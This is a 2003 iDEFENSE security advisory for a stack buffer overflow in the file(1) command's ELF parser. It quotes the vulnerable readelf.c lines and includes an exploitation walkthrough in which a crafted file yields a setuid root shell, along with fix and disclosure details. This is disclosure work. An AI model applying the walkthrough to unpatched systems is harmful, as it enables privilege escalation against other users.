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iDEFENSE Security Advisory 03.04.03:
http://www.idefense.com/advisory/03.04.03.txt
Locally Exploitable Buffer Overflow in file(1)
March 4, 2003

I. BACKGROUND

file(1) is an application that utilizes a magic file (typically located in
/usr/share/magic) to classify arbitrary files. The latest version of
file(1) is available for download from: ftp://ftp.astron.com/pub/file . 
For example:

    $ file
    Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...
    
    $ file unknown_file
    unknown_file: ASCII text


II. DESCRIPTION

The file(1) command contains a buffer overflow vulnerability that can be
leveraged by an attacker to execute arbitrary code under the privileges of
another user.

The crux of the problem lies in the following call to doshn() from
tryelf() on line 587 in readelf.c:

    doshn(class, swap,
        fd,
        getu32(swap, elfhdr.e_shoff),
        getu16(swap, elfhdr.e_shnum),
        getu16(swap, elfhdr.e_shentsize));

The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call
to read() as can be see here on line 133 in readelf.c:

    if (read(fd, sh_addr, size) == -1)

The call to read() will copy 'size' bytes into the variable 'sh_addr'
which is defined on line 92 in readelf.c:

    #define sh_addr (class == ELFCLASS32 \
                     ? (void *) &sh32 \
                     : (void *) &sh64)

The storage buffer used in the call to read() is of size 0x20 (32) bytes,
by supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the
stored frame pointer (EBP) and instruction pointer (EIP) thereby providing
the attacker with CPU control and the ability to execute arbitrary code.

III. ANALYSIS

A user who can successfully convince another user to examine a specially
constructed exploit file with the file(1) command can execute arbitrary
code under the privileges of that user.

The following is a sample walkthrough of a successful exploitation. The
attacker must initially generate a file that is specially structured to
trigger a buffer overflow in the file(1) command:

    $ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
/bin/bash -p 1

    Local /usr/bin/file upto v3.39 exploit by anonymous
    
    Using PRESET: 1 [Linux file <= 3.38 ]
    
    Using FILENAME: /tmp/exploit
    Using REAL_SHELL: /bin/bash
    Using CREATED_SHELL: /tmp/suid
    Using OUTPUT: ASCII text
    
    Using RET_ADDR: 0xbfffc3f0
    Using NOP_COUNT: 6000
    
    Exploit created -> /tmp/exploit
    Time to wait till somebody starts /usr/bin/file /tmp/exploit

Once the tainted file has been generated the attacker must wait for or
coerce another user to examine the file with the file(1) command.

    # ls -l exploit
    -rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit
    
    # file exploit
    /tmp/exploit: ASCII text

The file(1) command reports that the examined file is "ASCII text" as the
attacker specified in the creation of the exploit file. At this point if
the attack was a success the original attack file (exploit) has been
erased and a set user id shell has been created:

    # ls -l exploit
    ls: exploit: No such file or directory
    
    $ ls -l suid
    -rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid

IV. DETECTION

iDEFENSE has successfully exploited file(1) versions 3.37 and 3.39. It is
suspected that all versions up to and including 3.39 are vulnerable.

V. VENDOR FIX/RESPONSE

The latest version of file(1) fixes this issue and is available from
ftp://ftp.astron.com/pub/file/file-3.41.tar.gz .  Specific vendors will be
shipping updated packages in the near future.

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the identification number CAN-2003-0102 to this issue.

VII. DISCLOSURE TIMELINE

12/16/2002      Issue disclosed to iDEFENSE
02/24/2003      Maintainers notified: mail_contact@darwinsys.com
02/24/2003      Response from Ian Darwin, ian@darwinsys.com
02/25/2003      Response received from christos@zoulas.com
02/25/2003      iDEFENSE clients notified
02/27/2003      OS vendors notified via vendor-sec@lst.de
03/04/2003      Public Disclosure

VIII. CREDIT

An anonymous researcher discovered this vulnerability.


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About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world — from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide 
decision-makers, frontline security professionals and network 
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .

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